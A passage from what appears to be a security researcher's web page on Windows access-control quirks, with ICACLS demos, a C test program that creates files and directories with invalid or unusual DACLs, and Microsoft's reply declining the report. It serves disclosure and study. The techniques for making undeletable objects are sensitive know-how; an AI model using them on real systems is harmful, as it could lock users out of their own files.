'Quirk16d.tmp' RMDIR Quirk16d.tmp ECHO Step N: modify access permissions of directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-0:(S) /Remove:g None CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp ECHO Step O: delete directory 'Quirk16d.tmp' RMDIR Quirk16d.tmpNote: the command lines can be copied and pasted as block into a Command Processor window.
Step A: remove all inherited access permissions from directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI" Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files Step B: add (inheritable) access permissions to directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;OIIO;0x2000000;;;CO)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;OIIO;CCDC;;;S-1-3-2)(A;CIIO;0x1000000;;;CG)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)(A;CIIO;RCWD;;;S-1-3-3)" Quirk16d.tmp OWNER RIGHTS:(DENY)(S) CREATOR OWNER:(OI)(IO)(MA) AMNESIAC\Stefan:(RD,WD) CREATOR OWNER SERVER:(OI)(IO)(RD,WD) CREATOR GROUP:(CI)(IO)(AS) AMNESIAC\None:(Rc,WDAC) CREATOR GROUP SERVER:(CI)(IO)(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files Step C: (attempt to) delete directory 'Quirk16d.tmp' Access denied Step D: remove all inheritable access permissions from directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)" Quirk16d.tmp AMNESIAC\Stefan:(RD,WD,AD) AMNESIAC\None:(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files Step E: create file 'Quirk16d.tmp\Quirk16f.tmp' 1 file(s) copied. Step F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp' Quirk16d.tmp\Quirk16f.tmp AMNESIAC\Stefan:(F) NT AUTHORITY\SYSTEM:(F) The mapping between account names and security IDs was done. (RX) Successfully processed 1 files; Failed processing 0 files Access denied Step G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp' Could Not Find C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp Step H: add access permissions to directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;CCDC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)" Quirk16d.tmp OWNER RIGHTS:(DENY)(S) AMNESIAC\Stefan:(AD) AMNESIAC\None:(S) AMNESIAC\Stefan:(RD,WD) AMNESIAC\None:(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp\Quirk16f.tmp "D:AI(A;;FA;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;FA;;;SY)(A;;0x1200a9;;;S-1-5-5-0-231840)" Step I: delete file 'Quirk16d.tmp\Quirk16f.tmp' Step J: remove access permissions from directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp "D:PAI(D;;;;;OW)(A;;LC;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RCWD;;;S-1-5-21-820728443-44925810-1835867902-513)" Quirk16d.tmp OWNER RIGHTS:(DENY)(S) AMNESIAC\None:(S) AMNESIAC\None:(Rc,WDAC) Successfully processed 1 files; Failed processing 0 files Step K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp' Step L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp' Step M: (attempt to) delete directory 'Quirk16d.tmp' Access denied Step N: modify access permissions of directory 'Quirk16d.tmp' processed file: Quirk16d.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16d.tmp Access denied Quirk16d.tmp: Access denied Successfully processed 0 files; Failed processing 1 files Step O: delete directory 'Quirk16d.tmp'Ouch⁴:
ICACLs.exe
adds
inheritable ACEs
with the invalid access masks
AS
alias
ACCESS_SYSTEM_SECURITY
and
MA
alias
MAXIMUM_ALLOWED
to
DACLs!
Note: without an inheritable ACE from its parent object the default security descriptor from the process’s access token is applied to a new object.
Ouch⁵: both
CACLs.exe
and the internal
Del
alias
Erase
command of the Command Processor
Cmd.exe
fail without
SYNCHRONIZE
access permission to
the parent directory of the filesystem object to access!
Note: both ICACLs.exe
and
CACLs.exe
fail (expected)
when the ACE
(D;;;;;OW)
with access mask 0 alias
NO_ACCESS
is present in the
DACL
– it overrides the implicit
RC
alias
READ_CONTROL
and
WDAC
alias
WRITE_DAC
access rights granted to
the object’s owner and has the same effect as the
ACE
(A;;;;;OW)
.
Ouch⁶: the internal
Rd
alias
Rmdir
command of the Command Processor
succeeds despite the missing SD
alias DELETE
access permission!
DELETE
access permission as well as
to deny (un)intentionally any access to (filesystem) objects via the
ACCESS_SYSTEM_SECURITY
and
MAXIMUM_ALLOWED
access permissions!
They replied with the following statements:
Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.
CreateDirectory()
and
CreateFile()
are documented in the
MSDN as
follows:
Creates a new directory. If the underlying file system supports security on files and directories, the function applies a specified security descriptor to the new directory.[…]
[…]BOOL CreateDirectory( LPCTSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes );
lpSecurityAttributes
A pointer to a SECURITY_ATTRIBUTES structure. The lpSecurityDescriptor member of the structure specifies a security descriptor for the new directory. […]
Creates or opens a file or I/O device. […]The[…]BOOL CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );
lpSecurityAttributes
A pointer to a SECURITY_ATTRIBUTES structure that contains two separate but related data members: an optional security descriptor, […]
The lpSecurityDescriptor member of the structure specifies a SECURITY_DESCRIPTOR for a file or device. […]
SECURITY_ATTRIBUTES
and
SECURITY_DESCRIPTOR
structures are documented as follows:
[…]typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; LPVOID lpSecurityDescriptor; BOOL bInheritHandle; } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
lpSecurityAttributes
A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object. […]
A security descriptor includes information that specifies the following components of an object's security:File Management Functions Directory Management Functions The Win32 functions
- An owner security identifier (SID)
- A primary group SID
- A discretionary access control list (DACL)
- A system access control list (SACL)
- Qualifiers for the preceding items
DeleteFile()
,
DeleteFileTransacted()
,
MoveFileEx()
,
MoveFileWithProgress()
,
RemoveDirectory()
and
ReplaceFile()
are documented in the
MSDN as
follows:
Deletes an existing file.[…]
[…]BOOL DeleteFile( LPCTSTR lpFileName );
lpFileName
The name of the file to be deleted.
[…]
- To delete or rename a file, you must have either delete permission on the file, or delete child permission in the parent directory.
- To delete or rename a file, you must have either delete permission on the file, or delete child permission in the parent directory.
Moves an existing file or directory, including its children, with various move options.Oops: the highlighted sentences above and below but contradict the linked MSDN article File Security and Access Rights by 5÷1![…]
[…]BOOL MoveFileEx( LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, DWORD dwFlags );
lpExistingFileName
The current name of the file or directory on the local computer.
[…]
lpNewFileName
The new name of the file or directory on the local computer.
[…]
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the ACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and get all the access you request on the handle that is returned to you at the time that you create the file. If you request delete permission at the time you create the file, you can delete or rename the file with that handle but not with any other handle. For more information, see File Security and Access Rights.
Moves a file or directory, including its children. You can provide a callback function that receives progress notifications.[…]
[…]BOOL MoveFileWithProgress( LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, LPPROGRESS_ROUTINE lpProgressRoutine, LPVOID lpData, DWORD dwFlags );
lpExistingFileName
The current name of the file or directory on the local computer.
[…]
lpNewFileName
The new name of the file or directory on the local computer.
[…]
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the ACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and you will get all the access you request on the handle returned to you at the time you create the file. If you requested delete permission at the time you created the file, you could delete or rename the file with that handle but not with any other.
Deletes an existing empty directory.[…]
[…]BOOL RemoveDirectory( LPCTSTR lpPathName );
lpPathName
The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.
RemoveDirectory()
but fails to delete empty directories created with the same access
rights as files!
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the DACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and you will get all the access you request on the handle returned to you at the time you create the file. If you requested delete permission at the time you created the file, you could delete or rename the file with that handle but not with any other.
Create the text file quirk17.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <sddl.h>
#include <aclapi.h>
#ifndef _WIN64
#pragma intrinsic(memcmp)
#else
#pragma function(memcmp)
int memcmp(char const *left, char const *right, size_t count)
{
size_t index;
int delta;
for (index = 0; index < count; index++)
if (delta = left[index] - right[index])
return delta;
return 0;
}
#endif
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
typedef struct _ace
{
ACE_HEADER Header;
ACCESS_MASK Mask;
SID Trustee;
} ACE;
const struct _acl
{
ACL acl;
ACE ace;
} acl = {{ACL_REVISION, 0, sizeof(acl), 1, 0},
#if 0 // (A;NP;FA;;;AU)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
FILE_ALL_ACCESS,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}},
#else // (A;NP;SD;;;OW)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
DELETE,
{SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
#endif
dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
#ifndef QUIRKS // (A;NP;0x1f0000;;;OW)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
STANDARD_RIGHTS_ALL,
{SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
#elif QUIRKS == 0 // (A;NP;FA;;;AU)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
FILE_ALL_ACCESS,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}},
#elif QUIRKS == 1 // (A;NP;0x1f0000;;;S-1-5-15)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
STANDARD_RIGHTS_ALL,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_THIS_ORGANIZATION_RID}}},
#elif QUIRKS == 2 // (A;NP;FA;;;PS)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
FILE_ALL_ACCESS,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_PRINCIPAL_SELF_RID}}},
#elif QUIRKS == 3 // (A;NP;0x1f0000;;;S-1-5-1000)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
STANDARD_RIGHTS_ALL,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_OTHER_ORGANIZATION_RID}}},
#elif QUIRKS == 4 // (A;NP;0x3000000;;;IU)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
ACCESS_SYSTEM_SECURITY | MAXIMUM_ALLOWED,
{SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_INTERACTIVE_RID}}},
#else // NOTE: construct an INVALID DACL!
{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
{SID_REVISION, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}},
#endif
sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
// (ML;;NRNWNX;;;ME)
{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
{SID_REVISION, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}};
const SECURITY_DESCRIPTOR sd = {SECURITY_DESCRIPTOR_REVISION,
0,
#ifdef QUIRKS
SE_DACL_PRESENT | SE_DACL_PROTECTED,
#else // BUG: CreateFile*() and CreateDirectory*() fail with ERROR_PRIVILEGE_NOT_HELD when a "mandatory label" is present!
SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_SACL_PRESENT | SE_SACL_PROTECTED,
#endif
(SID *) NULL,
(SID *) NULL,
#ifdef QUIRKS
(ACL *) NULL,
#else
&sacl.acl,
#endif
&dacl.acl};
const SECURITY_ATTRIBUTES sa = {sizeof(sa),
&sd,
FALSE};
const WCHAR szName[] = L"Quirk17.tmp";
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
SECURITY_DESCRIPTOR *lpSD;
ACL *lpDACL;
LPWSTR lpSDDL;
DWORD dwError;
DWORD dwFile;
HANDLE hFile;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
(LPDWORD) NULL))
PrintConsole(hConsole,
L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"Using security descriptor \'%ls\' to create file and directory \'%ls\'\n",
lpSDDL, szName);
if (LocalFree(lpSDDL) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
hFile = CreateFile(szName,
FILE_WRITE_DATA | READ_CONTROL,
FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
&sa,
CREATE_NEW,
#if 0
FILE_FLAG_DELETE_ON_CLOSE,
#else
FILE_ATTRIBUTE_NORMAL,
#endif
(HANDLE) NULL);
if (hFile == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"CreateFile() returned error %lu\n",
dwError = GetLastError());
else
{
dwError = GetSecurityInfo(hFile,
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
&lpDACL,
(ACL **) NULL,
&lpSD);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"GetSecurityInfo() returned error %lu\n",
dwError);
else
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
(LPDWORD) NULL))
PrintConsole(hConsole,
L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"File \'%ls\' created with security descriptor \'%ls\'\n",
szName, lpSDDL);
if (LocalFree(lpSDDL) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
PrintConsole(hConsole,
L"DACL of file differs from original DACL!\n");
if (LocalFree(lpSD) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (!WriteFile(hFile,
L"\xFEFF", // UTF-16LE byte order mark
sizeof(L'\xFEFF'),
&dwFile,
(LPOVERLAPPED) NULL))
PrintConsole(hConsole,
L"WriteFile() returned error %lu\n",
dwError = GetLastError());
else
if (dwFile != sizeof(L'\xFEFF'))
PrintConsole(hConsole,
L"WriteFile() failed, %lu of %lu bytes written\n",
dwFile, sizeof(L'\xFEFF'));
if (!CloseHandle(hFile))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (!DeleteFile(szName))
{
PrintConsole(hConsole,
L"DeleteFile() returned error %lu\n",
dwError = GetLastError());
if (dwError == ERROR_ACCESS_DENIED)
{
dwError = SetNamedSecurityInfo(szName,
SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
(SID *) NULL,
(SID *) NULL,
&acl.acl,
(ACL *) NULL);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"SetNamedSecurityInfo() returned error %lu\n",
dwError);
else
if (!DeleteFile(szName))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu\n",
dwError = GetLastError());
dwError = ERROR_ACCESS_DENIED;
}
}
}
if (!CreateDirectory(szName,
&sa))
PrintConsole(hConsole,
L"CreateDirectory() returned error %lu\n",
dwError = GetLastError());
else
{
dwError = GetNamedSecurityInfo(szName,
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
&lpDACL,
(ACL **) NULL,
&lpSD);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"GetNamedSecurityInfo() returned error %lu\n",
dwError);
else
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
(LPDWORD) NULL))
PrintConsole(hConsole,
L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"Directory \'%ls\' created with security descriptor \'%ls\'\n",
szName, lpSDDL);
if (LocalFree(lpSDDL) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
PrintConsole(hConsole,
L"DACL of directory differs from original DACL!\n");
if (LocalFree(lpSD) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
if (!RemoveDirectory(szName))
{
PrintConsole(hConsole,
L"RemoveDirectory() returned error %lu\n",
dwError = GetLastError());
if (dwError == ERROR_ACCESS_DENIED)
{
dwError = SetNamedSecurityInfo(szName,
SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
(SID *) NULL,
(SID *) NULL,
&acl.acl,
(ACL *) NULL);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"SetNamedSecurityInfo() returned error %lu\n",
dwError);
else
if (!RemoveDirectory(szName))
PrintConsole(hConsole,
L"RemoveDirectory() returned error %lu\n",
dwError = GetLastError());
dwError = ERROR_ACCESS_DENIED;
}
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk17.exe
from the
source file quirk17.c
created in step 1., with the
preprocessor macro QUIRKS
defined as 0 or 1:
SET CL=/GAFy /Oisy /W4 /wd4090 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=0 quirk17.c advapi32.lib kernel32.lib user32.lib/D (Preprocessor Definitions) For details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk17.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk17.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk17.exe quirk17.obj advapi32.lib kernel32.lib user32.lib
Execute the console application quirk17.exe
built in
step 2. to verify its proper function:
.\quirk17.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Using security descriptor 'D:P(A;NP;FA;;;AU)' to create file and directory 'Quirk17.tmp' File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)' Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)' 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.A file as well as a directory created (for example) with only the DACL
D:P
(A;NP;FA;;;AU)
or
D:P
(A;NP;0x1f0000;;;S-1-5-15)
can be deleted.
Build the console application quirk17.exe
a second time
from the source file quirk17.c
created in step 1.,
now with the preprocessor macro QUIRKS
defined as 2 or
3:
CL.EXE /DQUIRKS=2 quirk17.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk17.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk17.exe quirk17.obj advapi32.lib kernel32.lib user32.lib
Execute the console application quirk17.exe
built in
step 4. to show the misbehaviour:
.\quirk17.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Using security descriptor 'D:P(A;NP;FA;;;PS)' to create file and directory 'Quirk17.tmp'
File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
RemoveDirectory() returned error 5
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
Error message text: Access denied.
CertUtil: -error command completed successfully.
OUCH: while a file created (for example) with only
the
DACL
D:P
(A;NP;FA;;;PS)
or
D:P
(A;NP;0x1f0000;;;S-1-5-1000)
can be deleted, a directory created with only this
DACL
can’t be deleted!
Build the console application quirk17.exe
a third time
from the source file quirk17.c
created in step 1.,
now with the preprocessor macro QUIRKS
defined as 4:
CL.EXE /DQUIRKS=4 quirk17.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk17.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk17.exe quirk17.obj advapi32.lib kernel32.lib user32.lib
Execute the console application quirk17.exe
built in
step 6. to show a second misbehaviour:
.\quirk17.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Using security descriptor 'D:P(A;NP;0x3000000;;;IU)' to create file and directory 'Quirk17.tmp' File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)' DACL of file differs from original DACL! Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)' DACL of directory differs from original DACL! RemoveDirectory() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH: the Win32 functions
ConvertSecurityDescriptorToStringSecurityDescriptor()
,
CreateDirectory()
and
CreateFile()
fail to detect the (intentionally) invalid
DACL
D:P
(A;NP;0x3000000;;;IU)
– the latter functions apply a
DACL
D:P
(A;NP;;;;IU)
instead, granting only implicit
(A;NP;WDRC;;;OW)
access for the object’s owner!
Build the console application quirk17.exe
a fourth time
from the source file quirk17.c
created in step 1.,
now with the preprocessor macro QUIRKS
defined as 5:
CL.EXE /DQUIRKS=5 quirk17.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk17.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk17.exe quirk17.obj advapi32.lib kernel32.lib user32.lib
Execute the console application quirk17.exe
built in
step 8. to show a third misbehaviour:
.\quirk17.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
ConvertSecurityDescriptorToStringSecurityDescriptor() returned error 1336 File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P' DACL of file differs from original DACL! Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P' DACL of directory differs from original DACL! RemoveDirectory() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH: while the Win32 function
ConvertSecurityDescriptorToStringSecurityDescriptor()
now properly detects the (intentionally) invalid
DACL
D:P
(ML;;NXNRNW;;;ME)
and returns the Win32 error code 1336 alias
ERROR_INVALID_ACL
,
both
CreateDirectory()
and
CreateFile()
fail to detect it and apply the empty
DACL
D:P
instead,
again granting only implicit
(A;NP;WDRC;;;OW)
access for the object’s owner!
DefWindowProc()
and
PostQuitMessage()
are documented in the
MSDN as
follows:
Calls the default window procedure to provide default processing for any window messages that an application does not process. This function ensures that every message is processed. DefWindowProc is called with the same parameters received by the window procedure.
Indicates to the system that a thread has made a request to terminate (quit). It is typically used in response to a WM_DESTROY message.The
WM_NCCREATE
message is documented in the
MSDN as
follows:
Sent prior to the WM_CREATE message when a window is first created.A window receives this message through its WindowProc function.
[…]
If an application processes this message, it should return TRUE to continue creation of the window. If the application returns FALSE, the CreateWindow or CreateWindowEx function will return a NULL handle.
DefWindowProc()
but does not provide the typical response to the
WM_DESTROY
message, and returning TRUE
in response to the
WM_NCCREATE
message fails to register and set the window title!
Create the text file quirk21.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
LRESULT WINAPI WindowProc(HWND hWindow,
UINT uMessage,
WPARAM wParam,
LPARAM lParam)
{
switch (uMessage)
{
